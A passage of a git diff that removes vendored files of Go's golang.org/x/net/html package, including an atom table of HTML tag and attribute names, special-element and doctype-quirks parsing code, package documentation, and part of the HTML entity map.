0x5c504, // code - 0x114: 0x6e02, // em - 0x115: 0x3c50a, // ondragexit - 0x117: 0x9f04, // span - 0x119: 0x6d708, // manifest - 0x11a: 0x38708, // menuitem - 0x11b: 0x58b07, // content - 0x11d: 0x6c109, // onwaiting - 0x11f: 0x4c609, // onloadend - 0x121: 0x37e0d, // oncontextmenu - 0x123: 0x56d06, // onblur - 0x124: 0x3fc07, // article - 0x125: 0x9303, // dir - 0x126: 0xef04, // ping - 0x127: 0x24c08, // required - 0x128: 0x45509, // oninvalid - 0x129: 0xb105, // align - 0x12b: 0x58a04, // icon - 0x12c: 0x64d02, // h6 - 0x12d: 0x1c404, // cols - 0x12e: 0x22e0a, // figcaption - 0x12f: 0x45e09, // onkeydown - 0x130: 0x66b08, // onsubmit - 0x131: 0x14d09, // oncanplay - 0x132: 0x70b03, // sup - 0x133: 0xc01, // p - 0x135: 0x40a09, // onemptied - 0x136: 0x39106, // oncopy - 0x137: 0x19c04, // cite - 0x138: 0x3a70a, // ondblclick - 0x13a: 0x50b0b, // onmousemove - 0x13c: 0x66d03, // sub - 0x13d: 0x48703, // rel - 0x13e: 0x5f08, // optgroup - 0x142: 0x9c07, // rowspan - 0x143: 0x37806, // source - 0x144: 0x21608, // noscript - 0x145: 0x1a304, // open - 0x146: 0x20403, // ins - 0x147: 0x2540d, // foreignObject - 0x148: 0x5ad0a, // onpopstate - 0x14a: 0x28d07, // enctype - 0x14b: 0x2760e, // onautocomplete - 0x14c: 0x35208, // textarea - 0x14e: 0x2780c, // autocomplete - 0x14f: 0x15702, // hr - 0x150: 0x1de08, // controls - 0x151: 0x10902, // id - 0x153: 0x2360c, // onafterprint - 0x155: 0x2610d, // foreignobject - 0x156: 0x32707, // marquee - 0x157: 0x59a07, // onpause - 0x158: 0x5e602, // dl - 0x159: 0x5206, // height - 0x15a: 0x34703, // min - 0x15b: 0x9307, // dirname - 0x15c: 0x1f209, // translate - 0x15d: 0x5604, // html - 0x15e: 0x34709, // minlength - 0x15f: 0x48607, // preload - 0x160: 0x71408, // template - 0x161: 0x3df0b, // ondragleave - 0x162: 0x3a02, // rb - 0x164: 0x5c003, // src - 0x165: 0x6dd06, // strong - 0x167: 0x7804, // samp - 0x168: 0x6f307, // address - 0x169: 0x55108, // ononline - 0x16b: 0x1310b, // placeholder - 0x16c: 0x2c406, // target - 0x16d: 0x20605, // small - 0x16e: 0x6ca07, // onwheel - 0x16f: 0x1c90a, // annotation - 0x170: 0x4740a, // spellcheck - 0x171: 0x7207, // details - 0x172: 0x10306, // canvas - 0x173: 0x12109, // autofocus - 0x174: 0xc05, // param - 0x176: 0x46308, // download - 0x177: 0x45203, // del - 0x178: 0x36c07, // onclose - 0x179: 0xb903, // kbd - 0x17a: 0x31906, // applet - 0x17b: 0x2e004, // href - 0x17c: 0x5f108, // onresize - 0x17e: 0x49d0c, // onloadeddata - 0x180: 0xcc02, // tr - 0x181: 0x2c00a, // formtarget - 0x182: 0x11005, // title - 0x183: 0x6ff05, // style - 0x184: 0xd206, // strike - 0x185: 0x59e06, // usemap - 0x186: 0x2fc06, // iframe - 0x187: 0x1004, // main - 0x189: 0x7b07, // picture - 0x18c: 0x31605, // ismap - 0x18e: 0x4a504, // data - 0x18f: 0x5905, // label - 0x191: 0x3d10e, // referrerpolicy - 0x192: 0x15602, // th - 0x194: 0x53606, // prompt - 0x195: 0x56807, // section - 0x197: 0x6d107, // optimum - 0x198: 0x2db04, // high - 0x199: 0x15c02, // h1 - 0x19a: 0x65909, // onstalled - 0x19b: 0x16d03, // var - 0x19c: 0x4204, // time - 0x19e: 0x67402, // ms - 0x19f: 0x33106, // header - 0x1a0: 0x4da09, // onmessage - 0x1a1: 0x1a605, // nonce - 0x1a2: 0x26e0a, // formaction - 0x1a3: 0x22006, // center - 0x1a4: 0x3704, // nobr - 0x1a5: 0x59505, // table - 0x1a6: 0x4a907, // listing - 0x1a7: 0x18106, // legend - 0x1a9: 0x29b09, // challenge - 0x1aa: 0x24806, // figure - 0x1ab: 0xe605, // media - 0x1ae: 0xd904, // type - 0x1af: 0x3f04, // font - 0x1b0: 0x4da0e, // onmessageerror - 0x1b1: 0x37108, // seamless - 0x1b2: 0x8703, // dfn - 0x1b3: 0x5c705, // defer - 0x1b4: 0xc303, // low - 0x1b5: 0x19a03, // rtc - 0x1b6: 0x5230b, // onmouseover - 0x1b7: 0x2b20a, // novalidate - 0x1b8: 0x71c0a, // workertype - 0x1ba: 0x3cd07, // itemref - 0x1bd: 0x1, // a - 0x1be: 0x31803, // map - 0x1bf: 0x400c, // ontimeupdate - 0x1c0: 0x15e07, // bgsound - 0x1c1: 0x3206, // keygen - 0x1c2: 0x2705, // tbody - 0x1c5: 0x64406, // onshow - 0x1c7: 0x2501, // s - 0x1c8: 0x6607, // pattern - 0x1cc: 0x14d10, // oncanplaythrough - 0x1ce: 0x2d702, // dd - 0x1cf: 0x6f906, // srcset - 0x1d0: 0x17003, // big - 0x1d2: 0x65108, // sortable - 0x1d3: 0x48007, // onkeyup - 0x1d5: 0x5a406, // onplay - 0x1d7: 0x4b804, // meta - 0x1d8: 0x40306, // ondrop - 0x1da: 0x60008, // onscroll - 0x1db: 0x1fb0b, // crossorigin - 0x1dc: 0x5730a, // onpageshow - 0x1dd: 0x4, // abbr - 0x1de: 0x9202, // td - 0x1df: 0x58b0f, // contenteditable - 0x1e0: 0x27206, // action - 0x1e1: 0x1400b, // playsinline - 0x1e2: 0x43107, // onfocus - 0x1e3: 0x2e008, // hreflang - 0x1e5: 0x5160a, // onmouseout - 0x1e6: 0x5ea07, // onreset - 0x1e7: 0x13c08, // autoplay - 0x1e8: 0x63109, // onseeking - 0x1ea: 0x67506, // scoped - 0x1ec: 0x30a, // radiogroup - 0x1ee: 0x3800b, // contextmenu - 0x1ef: 0x52e09, // onmouseup - 0x1f1: 0x2ca06, // hgroup - 0x1f2: 0x2080f, // allowfullscreen - 0x1f3: 0x4be08, // tabindex - 0x1f6: 0x30f07, // isindex - 0x1f7: 0x1a0e, // accept-charset - 0x1f8: 0x2ae0e, // formnovalidate - 0x1fb: 0x1c90e, // annotation-xml - 0x1fc: 0x6e05, // embed - 0x1fd: 0x21806, // script - 0x1fe: 0xbb06, // dialog - 0x1ff: 0x1d707, // command -} - -const atomText = "abbradiogrouparamainavalueaccept-charsetbodyaccesskeygenobrb" + - "asefontimeupdateviacacheightmlabelooptgroupatternoembedetail" + - "sampictureversedfnoframesetdirnameterowspanomoduleacronymali" + - "gnmarkbdialogallowpaymentrequestrikeytypeallowusermediagroup" + - "ingaltfooterubyasyncanvasidefaultitleaudioncancelautofocusan" + - "dboxmplaceholderautoplaysinlinebdoncanplaythrough1bgsoundisa" + - "bledivarbigblinkindraggablegendblockquotebuttonabortcitempro" + - "penoncecolgrouplaintextrackcolorcolspannotation-xmlcommandco" + - "ntrolshapecoordslotranslatecrossoriginsmallowfullscreenoscri" + - "ptfacenterfieldsetfigcaptionafterprintegrityfigurequiredfore" + - "ignObjectforeignobjectformactionautocompleteerrorformenctype" + - "mustmatchallengeformmethodformnovalidatetimeformtargethgroup" + - "osterhiddenhigh2hreflanghttp-equivideonclickiframeimageimgly" + - "ph3isindexismappletitemtypemarqueematheadersortedmaxlength4m" + - "inlength5mtextareadonlymultiplemutedoncloseamlessourceoncont" + - "extmenuitemidoncopyoncuechangeoncutondblclickondragendondrag" + - "enterondragexitemreferrerpolicyondragleaveondragoverondragst" + - "articleondropzonemptiedondurationchangeonendedonerroronfocus" + - "paceronhashchangeoninputmodeloninvalidonkeydownloadonkeypres" + - "spellcheckedonkeyupreloadonlanguagechangeonloadeddatalisting" + - "onloadedmetadatabindexonloadendonloadstartonmessageerroronmo" + - "usedownonmouseenteronmouseleaveonmousemoveonmouseoutputonmou" + - "seoveronmouseupromptonmousewheelonofflineononlineonpagehides" + - "classectionbluronpageshowbronpastepublicontenteditableonpaus" + - "emaponplayingonpopstateonprogressrcdocodeferonratechangeonre" + - "jectionhandledonresetonresizesrclangonscrollonsecuritypolicy" + - "violationauxclickonseekedonseekingonselectedonshowidth6onsor" + - "tableonstalledonstorageonsubmitemscopedonsuspendontoggleonun" + - "handledrejectionbeforeprintonunloadonvolumechangeonwaitingon" + - "wheeloptimumanifestrongoptionbeforeunloaddressrcsetstylesumm" + - "arysupsvgsystemplateworkertypewrap" diff --git a/vendor/golang.org/x/net/html/const.go b/vendor/golang.org/x/net/html/const.go deleted file mode 100644 index a3a918f0b3..0000000000 --- a/vendor/golang.org/x/net/html/const.go +++ /dev/null @@ -1,112 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package html - -// Section 12.2.4.2 of the HTML5 specification says "The following elements -// have varying levels of special parsing rules". -// https://html.spec.whatwg.org/multipage/syntax.html#the-stack-of-open-elements -var isSpecialElementMap = map[string]bool{ - "address": true, - "applet": true, - "area": true, - "article": true, - "aside": true, - "base": true, - "basefont": true, - "bgsound": true, - "blockquote": true, - "body": true, - "br": true, - "button": true, - "caption": true, - "center": true, - "col": true, - "colgroup": true, - "dd": true, - "details": true, - "dir": true, - "div": true, - "dl": true, - "dt": true, - "embed": true, - "fieldset": true, - "figcaption": true, - "figure": true, - "footer": true, - "form": true, - "frame": true, - "frameset": true, - "h1": true, - "h2": true, - "h3": true, - "h4": true, - "h5": true, - "h6": true, - "head": true, - "header": true, - "hgroup": true, - "hr": true, - "html": true, - "iframe": true, - "img": true, - "input": true, - "isindex": true, // The 'isindex' element has been removed, but keep it for backwards compatibility. - "keygen": true, - "li": true, - "link": true, - "listing": true, - "main": true, - "marquee": true, - "menu": true, - "meta": true, - "nav": true, - "noembed": true, - "noframes": true, - "noscript": true, - "object": true, - "ol": true, - "p": true, - "param": true, - "plaintext": true, - "pre": true, - "script": true, - "section": true, - "select": true, - "source": true, - "style": true, - "summary": true, - "table": true, - "tbody": true, - "td": true, - "template": true, - "textarea": true, - "tfoot": true, - "th": true, - "thead": true, - "title": true, - "tr": true, - "track": true, - "ul": true, - "wbr": true, - "xmp": true, -} - -func isSpecialElement(element *Node) bool { - switch element.Namespace { - case "", "html": - return isSpecialElementMap[element.Data] - case "math": - switch element.Data { - case "mi", "mo", "mn", "ms", "mtext", "annotation-xml": - return true - } - case "svg": - switch element.Data { - case "foreignObject", "desc", "title": - return true - } - } - return false -} diff --git a/vendor/golang.org/x/net/html/doc.go b/vendor/golang.org/x/net/html/doc.go deleted file mode 100644 index 822ed42a04..0000000000 --- a/vendor/golang.org/x/net/html/doc.go +++ /dev/null @@ -1,106 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -/* -Package html implements an HTML5-compliant tokenizer and parser. - -Tokenization is done by creating a Tokenizer for an io.Reader r. It is the -caller's responsibility to ensure that r provides UTF-8 encoded HTML. - - z := html.NewTokenizer(r) - -Given a Tokenizer z, the HTML is tokenized by repeatedly calling z.Next(), -which parses the next token and returns its type, or an error: - - for { - tt := z.Next() - if tt == html.ErrorToken { - // ... - return ... - } - // Process the current token. - } - -There are two APIs for retrieving the current token. The high-level API is to -call Token; the low-level API is to call Text or TagName / TagAttr. Both APIs -allow optionally calling Raw after Next but before Token, Text, TagName, or -TagAttr. In EBNF notation, the valid call sequence per token is: - - Next {Raw} [ Token | Text | TagName {TagAttr} ] - -Token returns an independent data structure that completely describes a token. -Entities (such as "<") are unescaped, tag names and attribute keys are -lower-cased, and attributes are collected into a []Attribute. For example: - - for { - if z.Next() == html.ErrorToken { - // Returning io.EOF indicates success. - return z.Err() - } - emitToken(z.Token()) - } - -The low-level API performs fewer allocations and copies, but the contents of -the []byte values returned by Text, TagName and TagAttr may change on the next -call to Next. For example, to extract an HTML page's anchor text: - - depth := 0 - for { - tt := z.Next() - switch tt { - case html.ErrorToken: - return z.Err() - case html.TextToken: - if depth > 0 { - // emitBytes should copy the []byte it receives, - // if it doesn't process it immediately. - emitBytes(z.Text()) - } - case html.StartTagToken, html.EndTagToken: - tn, _ := z.TagName() - if len(tn) == 1 && tn[0] == 'a' { - if tt == html.StartTagToken { - depth++ - } else { - depth-- - } - } - } - } - -Parsing is done by calling Parse with an io.Reader, which returns the root of -the parse tree (the document element) as a *Node. It is the caller's -responsibility to ensure that the Reader provides UTF-8 encoded HTML. For -example, to process each anchor node in depth-first order: - - doc, err := html.Parse(r) - if err != nil { - // ... - } - var f func(*html.Node) - f = func(n *html.Node) { - if n.Type == html.ElementNode && n.Data == "a" { - // Do something with n... - } - for c := n.FirstChild; c != nil; c = c.NextSibling { - f(c) - } - } - f(doc) - -The relevant specifications include: -https://html.spec.whatwg.org/multipage/syntax.html and -https://html.spec.whatwg.org/multipage/syntax.html#tokenization -*/ -package html // import "golang.org/x/net/html" - -// The tokenization algorithm implemented by this package is not a line-by-line -// transliteration of the relatively verbose state-machine in the WHATWG -// specification. A more direct approach is used instead, where the program -// counter implies the state, such as whether it is tokenizing a tag or a text -// node. Specification compliance is verified by checking expected and actual -// outputs over a test suite rather than aiming for algorithmic fidelity. - -// TODO(nigeltao): Does a DOM API belong in this package or a separate one? -// TODO(nigeltao): How does parsing interact with a JavaScript engine? diff --git a/vendor/golang.org/x/net/html/doctype.go b/vendor/golang.org/x/net/html/doctype.go deleted file mode 100644 index c484e5a94f..0000000000 --- a/vendor/golang.org/x/net/html/doctype.go +++ /dev/null @@ -1,156 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package html - -import ( - "strings" -) - -// parseDoctype parses the data from a DoctypeToken into a name, -// public identifier, and system identifier. It returns a Node whose Type -// is DoctypeNode, whose Data is the name, and which has attributes -// named "system" and "public" for the two identifiers if they were present. -// quirks is whether the document should be parsed in "quirks mode". -func parseDoctype(s string) (n *Node, quirks bool) { - n = &Node{Type: DoctypeNode} - - // Find the name. - space := strings.IndexAny(s, whitespace) - if space == -1 { - space = len(s) - } - n.Data = s[:space] - // The comparison to "html" is case-sensitive. - if n.Data != "html" { - quirks = true - } - n.Data = strings.ToLower(n.Data) - s = strings.TrimLeft(s[space:], whitespace) - - if len(s) < 6 { - // It can't start with "PUBLIC" or "SYSTEM". - // Ignore the rest of the string. - return n, quirks || s != "" - } - - key := strings.ToLower(s[:6]) - s = s[6:] - for key == "public" || key == "system" { - s = strings.TrimLeft(s, whitespace) - if s == "" { - break - } - quote := s[0] - if quote != '"' && quote != '\'' { - break - } - s = s[1:] - q := strings.IndexRune(s, rune(quote)) - var id string - if q == -1 { - id = s - s = "" - } else { - id = s[:q] - s = s[q+1:] - } - n.Attr = append(n.Attr, Attribute{Key: key, Val: id}) - if key == "public" { - key = "system" - } else { - key = "" - } - } - - if key != "" || s != "" { - quirks = true - } else if len(n.Attr) > 0 { - if n.Attr[0].Key == "public" { - public := strings.ToLower(n.Attr[0].Val) - switch public { - case "-//w3o//dtd w3 html strict 3.0//en//", "-/w3d/dtd html 4.0 transitional/en", "html": - quirks = true - default: - for _, q := range quirkyIDs { - if strings.HasPrefix(public, q) { - quirks = true - break - } - } - } - // The following two public IDs only cause quirks mode if there is no system ID. - if len(n.Attr) == 1 && (strings.HasPrefix(public, "-//w3c//dtd html 4.01 frameset//") || - strings.HasPrefix(public, "-//w3c//dtd html 4.01 transitional//")) { - quirks = true - } - } - if lastAttr := n.Attr[len(n.Attr)-1]; lastAttr.Key == "system" && - strings.ToLower(lastAttr.Val) == "http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd" { - quirks = true - } - } - - return n, quirks -} - -// quirkyIDs is a list of public doctype identifiers that cause a document -// to be interpreted in quirks mode. The identifiers should be in lower case. -var quirkyIDs = []string{ - "+//silmaril//dtd html pro v0r11 19970101//", - "-//advasoft ltd//dtd html 3.0 aswedit + extensions//", - "-//as//dtd html 3.0 aswedit + extensions//", - "-//ietf//dtd html 2.0 level 1//", - "-//ietf//dtd html 2.0 level 2//", - "-//ietf//dtd html 2.0 strict level 1//", - "-//ietf//dtd html 2.0 strict level 2//", - "-//ietf//dtd html 2.0 strict//", - "-//ietf//dtd html 2.0//", - "-//ietf//dtd html 2.1e//", - "-//ietf//dtd html 3.0//", - "-//ietf//dtd html 3.2 final//", - "-//ietf//dtd html 3.2//", - "-//ietf//dtd html 3//", - "-//ietf//dtd html level 0//", - "-//ietf//dtd html level 1//", - "-//ietf//dtd html level 2//", - "-//ietf//dtd html level 3//", - "-//ietf//dtd html strict level 0//", - "-//ietf//dtd html strict level 1//", - "-//ietf//dtd html strict level 2//", - "-//ietf//dtd html strict level 3//", - "-//ietf//dtd html strict//", - "-//ietf//dtd html//", - "-//metrius//dtd metrius presentational//", - "-//microsoft//dtd internet explorer 2.0 html strict//", - "-//microsoft//dtd internet explorer 2.0 html//", - "-//microsoft//dtd internet explorer 2.0 tables//", - "-//microsoft//dtd internet explorer 3.0 html strict//", - "-//microsoft//dtd internet explorer 3.0 html//", - "-//microsoft//dtd internet explorer 3.0 tables//", - "-//netscape comm. corp.//dtd html//", - "-//netscape comm. corp.//dtd strict html//", - "-//o'reilly and associates//dtd html 2.0//", - "-//o'reilly and associates//dtd html extended 1.0//", - "-//o'reilly and associates//dtd html extended relaxed 1.0//", - "-//softquad software//dtd hotmetal pro 6.0::19990601::extensions to html 4.0//", - "-//softquad//dtd hotmetal pro 4.0::19971010::extensions to html 4.0//", - "-//spyglass//dtd html 2.0 extended//", - "-//sq//dtd html 2.0 hotmetal + extensions//", - "-//sun microsystems corp.//dtd hotjava html//", - "-//sun microsystems corp.//dtd hotjava strict html//", - "-//w3c//dtd html 3 1995-03-24//", - "-//w3c//dtd html 3.2 draft//", - "-//w3c//dtd html 3.2 final//", - "-//w3c//dtd html 3.2//", - "-//w3c//dtd html 3.2s draft//", - "-//w3c//dtd html 4.0 frameset//", - "-//w3c//dtd html 4.0 transitional//", - "-//w3c//dtd html experimental 19960712//", - "-//w3c//dtd html experimental 970421//", - "-//w3c//dtd w3 html//", - "-//w3o//dtd w3 html 3.0//", - "-//webtechs//dtd mozilla html 2.0//", - "-//webtechs//dtd mozilla html//", -} diff --git a/vendor/golang.org/x/net/html/entity.go b/vendor/golang.org/x/net/html/entity.go deleted file mode 100644 index b628880a01..0000000000 --- a/vendor/golang.org/x/net/html/entity.go +++ /dev/null @@ -1,2253 +0,0 @@ -// Copyright 2010 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package html - -// All entities that do not end with ';' are 6 or fewer bytes long. -const longestEntityWithoutSemicolon = 6 - -// entity is a map from HTML entity names to their values. The semicolon matters: -// https://html.spec.whatwg.org/multipage/syntax.html#named-character-references -// lists both "amp" and "amp;" as two separate entries. -// -// Note that the HTML5 list is larger than the HTML4 list at -// http://www.w3.org/TR/html4/sgml/entities.html -var entity = map[string]rune{ - "AElig;": '\U000000C6', - "AMP;": '\U00000026', - "Aacute;": '\U000000C1', - "Abreve;": '\U00000102', - "Acirc;": '\U000000C2', - "Acy;": '\U00000410', - "Afr;": '\U0001D504', - "Agrave;": '\U000000C0', - "Alpha;": '\U00000391', - "Amacr;": '\U00000100', - "And;": '\U00002A53', - "Aogon;": '\U00000104', - "Aopf;": '\U0001D538', - "ApplyFunction;": '\U00002061', - "Aring;": '\U000000C5', - "Ascr;": '\U0001D49C', - "Assign;": '\U00002254', - "Atilde;": '\U000000C3', - "Auml;": '\U000000C4', - "Backslash;": '\U00002216', - "Barv;": '\U00002AE7', - "Barwed;": '\U00002306', - "Bcy;": '\U00000411', - "Because;": '\U00002235', - "Bernoullis;": '\U0000212C', - "Beta;": '\U00000392', - "Bfr;": '\U0001D505', - "Bopf;": '\U0001D539', - "Breve;": '\U000002D8', - "Bscr;": '\U0000212C', - "Bumpeq;": '\U0000224E', - "CHcy;": '\U00000427', - "COPY;": '\U000000A9', - "Cacute;": '\U00000106', - "Cap;": '\U000022D2', - "CapitalDifferentialD;": '\U00002145', - "Cayleys;": '\U0000212D', - "Ccaron;": '\U0000010C', - "Ccedil;": '\U000000C7', - "Ccirc;": '\U00000108', - "Cconint;": '\U00002230', - "Cdot;": '\U0000010A', - "Cedilla;": '\U000000B8', - "CenterDot;": '\U000000B7', - "Cfr;": '\U0000212D', - "Chi;": '\U000003A7', - "CircleDot;": '\U00002299', - "CircleMinus;": '\U00002296', - "CirclePlus;": '\U00002295', - "CircleTimes;": '\U00002297', - "ClockwiseContourIntegral;": '\U00002232', - "CloseCurlyDoubleQuote;": '\U0000201D', - "CloseCurlyQuote;": '\U00002019', - "Colon;": '\U00002237', - "Colone;": '\U00002A74', - "Congruent;": '\U00002261', - "Conint;": '\U0000222F', - "ContourIntegral;": '\U0000222E', - "Copf;": '\U00002102', - "Coproduct;": '\U00002210', - "CounterClockwiseContourIntegral;": '\U00002233', - "Cross;": '\U00002A2F', - "Cscr;": '\U0001D49E', - "Cup;": '\U000022D3', - "CupCap;": '\U0000224D', - "DD;": '\U00002145', - "DDotrahd;": '\U00002911', - "DJcy;": '\U00000402', - "DScy;": '\U00000405', - "DZcy;": '\U0000040F', - "Dagger;": '\U00002021', - "Darr;": '\U000021A1', - "Dashv;": '\U00002AE4', - "Dcaron;": '\U0000010E', - "Dcy;": '\U00000414', - "Del;": '\U00002207', - "Delta;": '\U00000394', - "Dfr;": '\U0001D507', - "DiacriticalAcute;": '\U000000B4', - "DiacriticalDot;": '\U000002D9', - "DiacriticalDoubleAcute;": '\U000002DD', - "DiacriticalGrave;": '\U00000060', - "DiacriticalTilde;": '\U000002DC', - "Diamond;": '\U000022C4', - "DifferentialD;": '\U00002146', - "Dopf;": '\U0001D53B', - "Dot;": '\U000000A8', - "DotDot;": '\U000020DC', - "DotEqual;": '\U00002250', - "DoubleContourIntegral;": '\U0000222F', - "DoubleDot;": '\U000000A8', - "DoubleDownArrow;": '\U000021D3', - "DoubleLeftArrow;": '\U000021D0', - "DoubleLeftRightArrow;": '\U000021D4', - "DoubleLeftTee;": '\U00002AE4', - "DoubleLongLeftArrow;": '\U000027F8', - "DoubleLongLeftRightArrow;": '\U000027FA', - "DoubleLongRightArrow;": '\U000027F9', - "DoubleRightArrow;": '\U000021D2', - "DoubleRightTee;": '\U000022A8', - "DoubleUpArrow;": '\U000021D1', - "DoubleUpDownArrow;": '\U000021D5', - "DoubleVerticalBar;": '\U00002225', - "DownArrow;": '\U00002193', - "DownArrowBar;": '\U00002913', - "DownArrowUpArrow;": '\U000021F5', - "DownBreve;": '\U00000311', - "DownLeftRightVector;": '\U00002950', - "DownLeftTeeVector;": '\U0000295E', - "DownLeftVector;": '\U000021BD', - "DownLeftVectorBar;": '\U00002956', - "DownRightTeeVector;": '\U0000295F', - "DownRightVector;": '\U000021C1', - "DownRightVectorBar;": '\U00002957', - "DownTee;": '\U000022A4', - "DownTeeArrow;": '\U000021A7', - "Downarrow;": '\U000021D3', - "Dscr;": '\U0001D49F', - "Dstrok;": '\U00000110', - "ENG;": '\U0000014A', - "ETH;": '\U000000D0', - "Eacute;": '\U000000C9', - "Ecaron;": '\U0000011A', - "Ecirc;": '\U000000CA', - "Ecy;": '\U0000042D', - "Edot;": '\U00000116', - "Efr;": '\U0001D508', - "Egrave;": '\U000000C8', - "Element;": '\U00002208', - "Emacr;": '\U00000112', - "EmptySmallSquare;": '\U000025FB', - "EmptyVerySmallSquare;": '\U000025AB', - "Eogon;": '\U00000118', - "Eopf;": '\U0001D53C', - "Epsilon;": '\U00000395', - "Equal;": '\U00002A75', - "EqualTilde;": '\U00002242', - "Equilibrium;": '\U000021CC', - "Escr;": '\U00002130', - "Esim;": '\U00002A73', - "Eta;": '\U00000397', - "Euml;": '\U000000CB', - "Exists;": '\U00002203', - "ExponentialE;": '\U00002147', - "Fcy;": '\U00000424', - "Ffr;": '\U0001D509', - "FilledSmallSquare;": '\U000025FC', - "FilledVerySmallSquare;": '\U000025AA', - "Fopf;": '\U0001D53D', - "ForAll;": '\U00002200', - "Fouriertrf;": '\U00002131', - "Fscr;": '\U00002131', - "GJcy;": '\U00000403', - "GT;": '\U0000003E', - "Gamma;": '\U00000393', - "Gammad;": '\U000003DC', - "Gbreve;": '\U0000011E', - "Gcedil;": '\U00000122', - "Gcirc;": '\U0000011C', - "Gcy;": '\U00000413', - "Gdot;": '\U00000120', - "Gfr;": '\U0001D50A', - "Gg;": '\U000022D9', - "Gopf;": '\U0001D53E', - "GreaterEqual;": '\U00002265', - "GreaterEqualLess;": '\U000022DB', - "GreaterFullEqual;": '\U00002267', - "GreaterGreater;": '\U00002AA2', - "GreaterLess;": '\U00002277', - "GreaterSlantEqual;": '\U00002A7E', - "GreaterTilde;": '\U00002273', - "Gscr;": '\U0001D4A2', - "Gt;": '\U0000226B', - "HARDcy;": '\U0000042A', - "Hacek;": '\U000002C7', - "Hat;": '\U0000005E', - "Hcirc;": '\U00000124', - "Hfr;": '\U0000210C', - "HilbertSpace;": '\U0000210B', - "Hopf;": '\U0000210D', - "HorizontalLine;": '\U00002500', - "Hscr;": '\U0000210B', - "Hstrok;": '\U00000126', - "HumpDownHump;": '\U0000224E', - "HumpEqual;": '\U0000224F', - "IEcy;": '\U00000415', - "IJlig;": '\U00000132', - "IOcy;": '\U00000401', - "Iacute;": '\U000000CD', - "Icirc;": '\U000000CE', - "Icy;": '\U00000418', - "Idot;": '\U00000130', - "Ifr;": '\U00002111', - "Igrave;": '\U000000CC', - "Im;": '\U00002111', - "Imacr;": '\U0000012A', - "ImaginaryI;": '\U00002148', - "Implies;": '\U000021D2', - "Int;": '\U0000222C', - "Integral;": '\U0000222B', - "Intersection;": '\U000022C2', - "InvisibleComma;": '\U00002063', - "InvisibleTimes;": '\U00002062', - "Iogon;": '\U0000012E', - "Iopf;": '\U0001D540', - "Iota;": '\U00000399', - "Iscr;": '\U00002110', - "Itilde;": '\U00000128', - "Iukcy;": '\U00000406', - "Iuml;": '\U000000CF', - "Jcirc;": '\U00000134', - "Jcy;": '\U00000419', - "Jfr;": '\U0001D50D', - "Jopf;": '\U0001D541', - "Jscr;": '\U0001D4A5', - "Jsercy;": '\U00000408', - "Jukcy;": '\U00000404', - "KHcy;": '\U00000425', - "KJcy;": '\U0000040C', - "Kappa;": '\U0000039A', - "Kcedil;": '\U00000136', - "Kcy;": '\U0000041A', - "Kfr;": '\U0001D50E', - "Kopf;": '\U0001D542', - "Kscr;": '\U0001D4A6', - "LJcy;": '\U00000409', - "LT;": '\U0000003C', - "Lacute;": '\U00000139', - "Lambda;": '\U0000039B', - "Lang;": '\U000027EA', - "Laplacetrf;": '\U00002112', - "Larr;": '\U0000219E', - "Lcaron;": '\U0000013D', - "Lcedil;": '\U0000013B', - "Lcy;": '\U0000041B', - "LeftAngleBracket;": '\U000027E8', - "LeftArrow;": '\U00002190', - "LeftArrowBar;": '\U000021E4', - "LeftArrowRightArrow;": '\U000021C6', - "LeftCeiling;": '\U00002308', - "LeftDoubleBracket;": '\U000027E6', - "LeftDownTeeVector;": '\U00002961', - "LeftDownVector;": '\U000021C3', - "LeftDownVectorBar;": '\U00002959', - "LeftFloor;": '\U0000230A', - "LeftRightArrow;": '\U00002194', - "LeftRightVector;": '\U0000294E', - "LeftTee;": '\U000022A3', - "LeftTeeArrow;": '\U000021A4', - "LeftTeeVector;": '\U0000295A', - "LeftTriangle;": '\U000022B2', - "LeftTriangleBar;": '\U000029CF', - "LeftTriangleEqual;": '\U000022B4', - "LeftUpDownVector;": '\U00002951', - "LeftUpTeeVector;": '\U00002960', - "LeftUpVector;": '\U000021BF', - "LeftUpVectorBar;": '\U00002958', - "LeftVector;": '\U000021BC', - "LeftVectorBar;": '\U00002952', - "Leftarrow;": '\U000021D0', - "Leftrightarrow;": '\U000021D4', - "LessEqualGreater;": '\U000022DA', - "LessFullEqual;": '\U00002266', - "LessGreater;": '\U00002276', - "LessLess;": '\U00002AA1', - "LessSlantEqual;": '\U00002A7D', - "LessTilde;": '\U00002272', - "Lfr;": '\U0001D50F', - "Ll;": '\U000022D8', - "Lleftarrow;": '\U000021DA', - "Lmidot;": '\U0000013F', - "LongLeftArrow;": '\U000027F5', - "LongLeftRightArrow;": '\U000027F7', - "LongRightArrow;": '\U000027F6', - "Longleftarrow;": '\U000027F8', - "Longleftrightarrow;": '\U000027FA', - "Longrightarrow;": '\U000027F9', - "Lopf;": '\U0001D543', - "LowerLeftArrow;": '\U00002199', - "LowerRightArrow;": '\U00002198', - "Lscr;": '\U00002112', - "Lsh;": '\U000021B0', - "Lstrok;": '\U00000141', - "Lt;": '\U0000226A', - "Map;": '\U00002905', - "Mcy;": '\U0000041C', - "MediumSpace;": '\U0000205F', - "Mellintrf;": '\U00002133', - "Mfr;": '\U0001D510', - "MinusPlus;": '\U00002213', - "Mopf;": '\U0001D544', - "Mscr;": '\U00002133', - "Mu;": '\U0000039C', - "NJcy;": '\U0000040A', - "Nacute;": '\U00000143', - "Ncaron;": '\U00000147', - "Ncedil;": '\U00000145', - "Ncy;": '\U0000041D', - "NegativeMediumSpace;": '\U0000200B', - "NegativeThickSpace;": '\U0000200B', - "NegativeThinSpace;": '\U0000200B', - "NegativeVeryThinSpace;": '\U0000200B', - "NestedGreaterGreater;": '\U0000226B', - "NestedLessLess;": '\U0000226A', - "NewLine;": '\U0000000A', - "Nfr;": '\U0001D511', - "NoBreak;": '\U00002060', - "NonBreakingSpace;": '\U000000A0', - "Nopf;": '\U00002115', - "Not;": '\U00002AEC', - "NotCongruent;": '\U00002262', - "NotCupCap;": '\U0000226D', - "NotDoubleVerticalBar;": '\U00002226', - "NotElement;": '\U00002209', - "NotEqual;": '\U00002260', - "NotExists;": '\U00002204', - "NotGreater;": '\U0000226F', - "NotGreaterEqual;": 